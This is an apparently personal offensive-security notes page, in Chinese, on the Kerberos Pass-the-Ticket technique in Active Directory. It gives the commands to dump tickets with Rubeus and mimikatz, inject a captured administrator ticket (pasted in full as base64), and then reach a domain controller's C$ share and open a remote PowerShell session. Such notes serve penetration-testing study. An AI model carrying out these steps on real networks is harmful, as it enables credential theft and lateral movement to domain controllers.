> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-ticket.md). # Pass-the-Ticket 要显示与当前会话关联的 Kerberos 票据，我们可以使用 `klist`. ```bash klist ```

然后就可以提取票据和会话密钥。例如，如果我们以账户 `administrador`登录，其票据会被加载到内存中。

然后我们将在内存中拥有 TGT 以及相应的会话密钥。要提取它们，你必须具有本地管理员权限。然后我们可以使用 `Rubeus`. ```bash .\Rubeus.exe dump ``` 该命令会显示内存中的所有票据，包括来自账户 `administrador`.

使用 `mimikatz` 我们还可以提取票据和会话密钥。 ```bash ./mimikatz.exe sekurlsa::tickets ```

一旦票据被获取，我们就可以用 `Rubeus`在这台目标机器上，即使没有本地管理员权限。 ```bash .\Rubeus.exe ptt /ticket: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 ```

如果我们重启 `klist`，我们可以看到加载的票据确实属于 `administrador`. ```bash klist ```

然后我们可以访问域控制器的资源。 ```bash dir //DC01/c$ ```

有了这个票据，我们还可以在其他已授权的机器上打开远程会话。 ```bash Enter-PSSession -ComputerName DC01 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-ticket.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.